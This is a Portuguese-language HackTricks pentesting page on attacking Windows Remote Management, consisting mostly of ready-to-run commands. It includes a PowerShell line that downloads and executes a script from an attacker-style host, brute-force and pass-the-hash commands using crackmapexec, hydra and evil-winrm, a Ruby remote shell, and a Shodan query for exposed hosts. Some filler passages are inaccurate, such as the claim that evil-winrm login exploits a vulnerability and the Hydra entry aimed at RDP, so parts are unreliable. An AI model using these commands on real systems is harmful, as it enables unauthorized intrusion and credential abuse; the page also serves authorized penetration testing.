hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

416 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - Pentesting WinRM
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se a lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
## WinRM
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) é um protocolo da Microsoft que **permite o gerenciamento remoto de máquinas Windows** por meio de HTTP(S) usando SOAP. Nos bastidores, ele utiliza o WMI, então você pode pensar nele como uma API baseada em HTTP para WMI.
Se o WinRM estiver habilitado na máquina, é trivial administrar remotamente a máquina a partir do PowerShell. Na verdade, você pode simplesmente entrar em uma sessão remota do PowerShell na máquina (como se estivesse usando SSH!)
A maneira mais fácil de detectar se o WinRM está disponível é verificando se a porta está aberta. O WinRM ouvirá em uma das duas portas:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
Se uma dessas portas estiver aberta, o WinRM está configurado e você pode tentar entrar em uma sessão remota.
## **Iniciando uma sessão WinRM**.
Podemos configurar o PowerShell para trabalhar com o WinRM. De acordo com a documentação da Microsoft, Enable-PSRemoting é um cmdlet que configura o computador para receber comandos remotos do PowerShell. Se tivermos acesso a um prompt de PowerShell elevado na vítima, podemos habilitá-lo e adicionar qualquer "atacante" como hosts confiáveis. Podemos executar os seguintes dois comandos:
```
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Isso adiciona um caractere curinga à configuração trustedhosts. Tenha cuidado com o que isso implica. _Observação: também tive que alterar o tipo de rede na minha máquina de ataque de "Pública" para "Rede de trabalho"._
Você também pode **ativar** o WinRM **remotamente** _usando o _wmic_:
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### Testar se está configurado
Uma vez que a máquina de ataque está configurada, use a função `Test-WSMan` para testar se o alvo está configurado para o WinRM. Você deve ver algumas informações retornadas sobre a versão do protocolo e o wsmid:
![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
Neste caso, o primeiro está configurado e o segundo não.
### Executar um comando
Agora podemos usar o `Invoke-Command` do PowerShell para executar remotamente um comando no alvo através do WinRM. Para executar remotamente o comando `ipconfig` e ver a saída:
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (163) (1).png>)
Você também pode **executar um comando do seu console PS atual via** _**Invoke-Command**_. Suponha que você tenha localmente uma função chamada _**enumeration**_ e queira **executá-la em um computador remoto**, você pode fazer:
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
To execute a script using WinRM, you can use the `Invoke-Command` cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote Windows machines.
Here is an example of how to execute a script using WinRM:
```powershell
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
```
Replace `<target>` with the IP address or hostname of the remote machine you want to execute the script on. Replace `<script>` with the actual script you want to run.
For example, if you want to execute a script named `myscript.ps1` on a remote machine with the IP address `192.168.0.100`, you would use the following command:
```powershell
Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\myscript.ps1 }
```
Make sure to provide the correct path to the script file on the remote machine.
When executing a script using WinRM, keep in mind that you may need administrative privileges on the remote machine to perform certain actions. Additionally, ensure that WinRM is properly configured on both the local and remote machines for successful execution.
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Obter shell reverso
Para obter um shell reverso em um sistema alvo, você pode explorar a vulnerabilidade do serviço WinRM. O WinRM (Windows Remote Management) é um serviço de gerenciamento remoto que permite a administração de sistemas Windows por meio de uma interface de linha de comando.
Aqui está um exemplo de como obter um shell reverso usando o WinRM:
1. Verifique se o serviço WinRM está em execução no sistema alvo. Você pode fazer isso usando a ferramenta `nmap` com o seguinte comando:
```
nmap -p 5985,5986 <endereço IP do sistema alvo>
```
Certifique-se de que as portas 5985 e 5986 estejam abertas e respondendo.
2. Use uma ferramenta como o `evil-winrm` para se conectar ao sistema alvo usando o WinRM. Você pode instalá-lo usando o seguinte comando:
```
gem install evil-winrm
```
3. Depois de instalado, você pode executar o seguinte comando para se conectar ao sistema alvo:
```
evil-winrm -i <endereço IP do sistema alvo> -u <nome de usuário> -p <senha>
```
Substitua `<endereço IP do sistema alvo>`, `<nome de usuário>` e `<senha>` pelos detalhes corretos do sistema alvo.
4. Se as credenciais fornecidas forem válidas, você será conectado ao sistema alvo usando o WinRM. Agora você pode executar comandos no sistema alvo como se estivesse interagindo com um shell local.
Lembre-se de que a obtenção de um shell reverso em um sistema sem permissão é ilegal e deve ser realizada apenas em um ambiente de teste autorizado.
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obter uma sessão do PS
Ou, se você quiser entrar diretamente em uma sessão interativa do PowerShell, use a função `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
**A sessão será executada em um novo processo (wsmprovhost) dentro do "alvo"**
### **Forçando a abertura do WinRM**
Se você realmente deseja usar o PS Remoting e o WinRM, mas o alvo não está configurado para isso, você pode "forçá-lo" através de um único comando. Eu não recomendaria isso, mas se você realmente quiser usar o WinRM ou o PSRemoting, faça dessa maneira. Por exemplo, usando o PSExec:
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
Agora podemos entrar em uma sessão PS remota no alvo.
### Salvando e Restaurando sessões
Isso **não funcionará** se a **linguagem** estiver **restrita** no computador remoto.
```ruby
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Dentro dessas sessões, você pode carregar scripts do PS usando o _Invoke-Command_
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Erros
Se você encontrar o seguinte erro:
`enter-pssession : Falha ao conectar ao servidor remoto 10.10.10.175 com a seguinte mensagem de erro: O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração de TrustedHosts. Use o comando winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não ser autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para obter mais informações, consulte o tópico de Ajuda sobre solução de problemas remotos (about_Remote_Troubleshooting).`
Tente no cliente (informações obtidas [aqui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa depois que o bug for verificado.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
## Conexão WinRM no Linux
### Força Bruta
Tenha cuidado, forçar a entrada no winrm pode bloquear usuários.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Usando evil-winrm
O evil-winrm é uma ferramenta de linha de comando que permite a um testador de penetração explorar e comprometer sistemas Windows que possuem o serviço WinRM habilitado. O WinRM (Windows Remote Management) é um protocolo de gerenciamento remoto que permite a administração de sistemas Windows por meio de uma interface de linha de comando.
Para usar o evil-winrm, primeiro é necessário instalar a gem do Ruby. Em seguida, execute o seguinte comando para instalar o evil-winrm:
```
gem install evil-winrm
```
Depois de instalado, você pode usar o evil-winrm para se conectar a um sistema Windows com o WinRM habilitado. Para isso, utilize o seguinte comando:
```
evil-winrm -i <IP> -u <username> -p <password>
```
Substitua `<IP>` pelo endereço IP do sistema alvo, `<username>` pelo nome de usuário válido e `<password>` pela senha correspondente. Se as credenciais fornecidas estiverem corretas, você será conectado ao sistema alvo e poderá executar comandos remotamente.
O evil-winrm também oferece outras opções, como a capacidade de especificar um domínio, usar autenticação NTLM e até mesmo carregar um arquivo de script para execução remota. Consulte a documentação do evil-winrm para obter mais informações sobre esses recursos adicionais.
É importante ressaltar que o uso do evil-winrm em sistemas sem autorização prévia é ilegal e pode resultar em consequências legais graves. Portanto, sempre obtenha permissão por escrito antes de realizar qualquer teste de penetração.
```ruby
gem install evil-winrm
```
Leia a **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Para usar o evil-winrm para se conectar a um **endereço IPv6**, crie uma entrada dentro do arquivo _**/etc/hosts**_ definindo um **nome de domínio** para o endereço IPv6 e conecte-se a esse domínio.
### Passando o hash com o evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (173).png>)
### Usando uma máquina PS-docker
O uso de uma máquina PS-docker é uma técnica útil para realizar testes de penetração em serviços de rede. Essa abordagem permite executar comandos PowerShell em um contêiner Docker, o que pode ser útil para explorar vulnerabilidades e realizar atividades de hacking.
Para começar, certifique-se de ter o Docker instalado em sua máquina. Em seguida, você pode criar uma máquina PS-docker usando o seguinte comando:
```
docker run -it --name ps-docker mcr.microsoft.com/powershell
```
Isso criará um contêiner Docker com o PowerShell instalado. Agora você pode interagir com o contêiner usando o seguinte comando:
```
docker exec -it ps-docker pwsh
```
Isso abrirá uma sessão interativa do PowerShell dentro do contêiner. A partir daqui, você pode executar comandos PowerShell para realizar várias atividades de teste de penetração em serviços de rede.
Lembre-se de que o uso de uma máquina PS-docker deve ser feito com responsabilidade e apenas para fins legais, como testes de segurança autorizados.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Usando um script em ruby
Código extraído daqui: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## Referências
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## Comandos Automáticos do HackTricks
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof é o lar de todas as recompensas por bugs de criptografia.**
**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
**Torne-se uma lenda hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>